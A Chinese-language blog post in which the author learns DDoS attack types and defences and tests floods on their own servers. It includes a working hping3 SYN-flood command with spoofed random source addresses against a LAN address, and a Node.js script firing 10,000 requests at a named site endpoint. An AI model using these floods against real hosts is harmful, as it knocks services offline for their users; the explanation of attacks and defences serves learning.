讲个笑话:手中没有剑,和有剑不用是两种事,因此这里特地学了一下DDOS攻击。使用的工具主要事kali机中的hping3,网安实在是太神奇了,有很多牛逼的工具,但是由于时间有限,所以这里就只学一下hping3,本着能够完成攻击机的任务的目的来学习的。
首先需要明白DDOS是从DOS的基础上发展而来的,有一台电脑对另一台电脑的攻击变成了多台电脑对一台电脑的攻击,知乎上有很多有趣的比喻,有兴趣的可以去搜搜。Dos是一种拒绝服务(Denial of Service),DDos是一种分布式拒绝服务(Distributed Denial of Service)
,举个形象的例子就是:作为带恶霸的你看某个餐馆不爽,喊了1000个人去一个只能容纳500人同时就餐的餐馆,而这时你喊去的1000人不进行任何消费,其他想就餐的正常顾客也不能就餐。在互联网上DDOS攻击暴力而非常有效。表现为:你通过大量的数据包和目标服务器建立连接,占用目标服务器的带宽,导致目标服务器无法再去为正常的用户提供服务,表现为服务器炸了,如果是阿里云,当DDos攻击达到一定量,会触发阿里云服务器提供的“防御措施”,服务器直接被冻结
,这也是本地写博问的终极目标(当然,攻击的是自己的服务器)。
这里的攻击原理主要来自于(B站的Ele实验室(DDoS技术鉴赏)),讲的是非常的精彩,总结如下:
(1)传输原理
,TCP/IP的四层结构:应用层
(固定数据包的格式)、传输层
(规定传输方式,比如是否需要进行加急处理,经典的三次握手就发生在这里)、互联网层
(具体的数据包传送)、子网层
(具体的各种硬件载体,比如卫星网,以太网等)。
补充说明一下这个经典的三次握手:
发送方(first) | 客户端 |
---|---|
SYN | 1 |
ACK | 0 |
顺序号 | x |
确认号 | 空 |
发送方(second) | 服务端 |
---|---|
SYN | 1 |
ACK | 1 |
顺序号 | y |
确认号 | x+1 |
发送方(third) | 客户端 |
---|---|
SYN | 0 |
ACK | 1 |
顺序号 | x+1 |
确认号 | y+1 |
(2)ICMP洪水
,一直发送ping测试的ICMP数据包,拿自己的带宽换目标服务器的带宽;
(3)UDP洪水
,UDP会暴露ip地址,UDP攻击中可能会涉及代理或者伪造他人ip地址,就形成了反射攻击,将目标地址(目标服务器)写清楚,接受地址写成广大的网络ip,也就是让这些ip去中转。
(4)上面的这两种攻击被形象称为,伤敌1000,自损800。放大攻击
,一般可以利用多种网络传输过程实现:
a.DNS服务器
,DNS服务器的原理是,拿到域名换成带有ip信息的数据包(通常向DNS请求的数据包远小于查询结果的含ip信息数据包,参考数据:50倍),如果将DNS查询地址改成目标服务器,那就是帮他向DNS服务器使用域名换ip操作。直接将攻击放大了50被。
b.TCP洪水
,服务端中有一个TCP维护表,用来记录已经经过三次握手建立连接的连接数据,这个数据表记录数量有上限,占满之后无法响应之后的TCP请求,但不能伪造ip,否则3次握手不成功,可以直接发了第一次TCP握手包不管,然后基于重传机制,服务端会会一直向客户端发多次响应包直到出现超时,也算是放大方式。
c.RST洪水
,在TCP协议中使用4次挥手结束连接,还可以由一方使用RST数据(带有断开连接发起方的ip地址)强制断开连接,这样作为攻击方就能直接发送RST数据盲打,导致正常使用的用户与服务端断开连接。
d.基于应用层的代理攻击
,原理很好理解,比如搜索一个关键字,但是实际上服务端要做的任务是比较多的,包括查库匹配等,这样如果一下子直接请求大量的查询接口,让服务器吃不消,使用代理是因为一般接口还是基于tcp的需要握手,也就是ip会暴露,所以使用代理。
(1)网络设备ip过滤,在传输的时候每个路由器只传输属于本网段的数据,如果不是本网段的数据,不予以再次发送,这样就能够有效处理ip伪造。
(2)分布式过滤,由于很多路由器是固定的,因此在传输的时候一般数据的传输过程比较固定,如果如果经过了某个不常用的路由节点,说明这个数据包很可能是伪造的。
(3)前两者涉及运营商和开发者等,很难实现,成本比较高。还有一种利用CDN方法,用户请求数据的时候总会请求更近的CDN服务器数据,减少了对中央服务器的压力,对应用层攻击相对有效。
(4)流量清洗,主要为了在握手阶段筛洗请求连接,主要针对用户伪造ip发送第一个握手包,让服务端白白回了10几次的握手第二截断的握手包,清洗设备参与之后,清晰设备会担任第二阶段握手包的功能,回复客户端第二次握手包,如果客户端回复了,就会将本次连接交给服务器正常通信。在应用层方便,清晰工具能够记录非法IP库,如果数据包来自于非法ip库,将直接断开本次连接。
hping
(官网链接)是一款 TCP / IP 数据包编辑器/分析器。它支持TCP,UDP,ICMP 和 RAW-IP 协议,具有跟踪路由模式,在覆盖通道之间发送文件的功能以及许多其他功能。内部参数解释如下(因为我不是专业的,所以这里直接搬运了大佬的参数翻译,方便大家更好的理解使用,仅展示常用参数,已在参考文献中说明):
-A --ack set ACK flag ------------------------------------- (设置 TCP 的 ACK 标志 位)
-a --spoof spoof source address //源地址欺骗。伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
--rand-dest random destionation address mode. see the man. // 随机目的地址模式。详细使用 man 命令
--rand-source random source address mode. see the man. // 随机源地址模式。详细使用 man 命令
-c --count 发送数据包的数目(至于一个数据包多大,后面再来分析)
-d --data data size (default is 0) // 发送数据包大小,缺省是0。
-i --interval 发送数据包间隔的时间 (uX即X微秒, 例如: -i u1000)
--fast 等同 -i u10000 (每秒10个包)
--faster 等同 -i u1000 (每秒100个包)
--flood 尽最快发送数据包,不显示回复。
-I --interface 网卡接口 (默认路由接口)
-k --keep keep still source port // 保持源端口
-n --numeric 数字化输出,象征性输出主机地址。
-p --destport [+][+]<port> destination port // 缺省随机源端口
-R --rst set RST flag
-S --syn set SYN flag
-s --baseport base source port // 缺省随机源端口
-t --ttl ttl (默认 64) //修改 ttl 值,甚至能够用来误导操作系统捕获
-w --win winsize (default 64) // win的滑动窗口。windows发送字节(默认64)
先拿一个本地搭建的服务器试试水,攻击指令如下:
hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.0.109
说明:每次发送10000个握手包,握手包大小为120字节,使用的窗口大小为64,攻击端口为80,随机源地址,目标地址:192.168.0.109。
如果攻击失败,可能是每次发送的数据包数量不够或者攻击时间较短,耐心等一段时间(大概30s就崩了)。
接下来尝试攻击自己的服务器,实践发现攻击自己的阿里云服务器是无效的(从面板上看这数据量完全对不上),之后我去查了一下原因,最后在一篇文章中找到了答案(三分钟了解阿里云和腾讯云的DDoS防御策略):
针对DDoS攻击,阿里云和腾讯云都有相应的政策,阿里云叫黑洞政策,腾讯云叫ip封堵。有些新入门的网友会认为既然买了阿里云或腾讯云的云服务器,那服务商就自然而然应该提供防攻击保护。而实际上服务商也的确提供了保护,只不过
DDoS 防御带宽费用很高,所以,只能是提供一定限额的防攻击保护,超过了就被停止访问了。当然,我们可以通过买付费服务提升保护。
反思攻击失效原因,应该是阿里云服务器做了安全防御,并且我使用的攻击手段又太普遍了。很容易就被防御了,实际到达阿里云服务器的流量几乎没有多少。
但是想攻击也不是不行,只是没有那么高级,这里直接基于应用层接口攻击,连续请求大量的接口是服务器响应不过来(影响是服务器级别的,不针对某个应用):
//node.js写的
const request = require("request");
function launchRequest() {
request(
{
//这里暴露了我的网站,请不要恶意攻击,虽然我没有完成对我服务器的攻击,
//但是不表示不能攻击,有些地方还是有大佬封装的ddos攻击工具和网站。
//我可不想我想鱼皮一样惨,请大佬高抬贵手,学习的目的不是为了去攻打被人,
//而是了解原理。让自己手中有剑。
url:
"https://nightowl.top/index/getSwiperList",
method: "GET",
json: true,
},
(err, rep, body) => {
if (err) {
console.log("完成学习接口调用失败:", err);
return false;
}
if (body.code == 0) {
console.log("输出返回数据:", body);
}
}
);
}
module.exports = async (ctx) => {
for (let i = 0; i < 10000; i++) {
launchRequest();
}
};
防御手段:对网站接口请求做延时处理,要求用户请求带上token用于验证并且带上时间戳,用于限制请求频次,当然我这个网站写的比较简陋,加上当时学的东西比较少。
(1)hping3使用详解